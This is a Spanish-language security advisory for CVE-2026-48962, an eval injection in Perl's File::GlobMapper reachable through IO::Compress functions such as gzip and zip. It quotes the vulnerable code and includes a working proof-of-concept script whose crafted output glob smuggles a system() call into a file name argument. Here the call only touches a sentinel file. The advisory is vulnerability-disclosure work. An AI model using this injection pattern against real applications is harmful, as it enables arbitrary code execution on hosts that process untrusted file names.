
CVE-2026-48962 - IO::Compress - Ejecución de Código
Una vulnerabilidad de inyección en eval en File::GlobMapper::_getFiles() permite a cualquier atacante que pueda controlar el argumento fileglob de salida pasado a IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip(), o cualquier función relacionada, ejecutar código Perl arbitrario en el contexto del proceso en ejecución.
No se requiere autenticación. El impacto es total: la confidencialidad, integridad y disponibilidad del proceso anfitrión quedan totalmente comprometidas.
File::GlobMapper::_parseOutputGlob() construye una plantilla de nombre de archivo de salida envolviendo el patrón de salida proporcionado por el llamante entre comillas dobles de Perl y almacenando el resultado. _getFiles() pasa luego esa cadena directamente a eval sin ningún tipo de saneamiento:
lib/File/GlobMapper.pm:316–321
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
lib/File/GlobMapper.pm:342
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
File::GlobMapper se invoca automáticamente siempre que ambos argumentos, de entrada y de salida, de una función IO::Compress::* / IO::Uncompress::* sean cadenas fileglob (delimitadas por < >). Esta es una convención de llamada documentada y común. Las funciones afectadas incluyen gzip, zip, bzip2, deflate, rawdeflate y todas sus contrapartes IO::Uncompress::*.
Cualquier carácter que cierre la cadena Perl entre comillas dobles circundante — una comilla doble literal ", un acento grave, ${...} o @{...} — seguido de código Perl arbitrario se ejecuta tal cual.
Guárdelo como poc.pl y ejecútelo con perl poc.pl:
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
Salida esperada:
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
Confirmado en IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.
Esta es una vulnerabilidad de ejecución remota de código. Cualquier aplicación web, servicio de API, herramienta CLI o canal de procesamiento por lotes que acepte entrada del usuario y la pase como argumento fileglob de salida a cualquier función IO::Compress::* es vulnerable. El código inyectado se ejecuta con todos los privilegios del proceso que realiza la llamada.
Quiénes están afectados: Desarrolladores y operadores de aplicaciones Perl que usan funciones IO::Compress::* con la convención de llamada mediante fileglob y donde el patrón de salida se deriva de entradas no confiables — como plantillas de nombres de archivo de formularios web, parámetros de API REST, argumentos CLI o archivos de configuración controlados por usuarios sin privilegios.
En contextos setuid o de demonios privilegiados, la explotación produce ejecución de código al nivel de privilegio elevado. El fallo está presente desde el lanzamiento inicial de File::GlobMapper (≈ 2005) y está presente en todas las distribuciones de Linux que incluyen el paquete perl.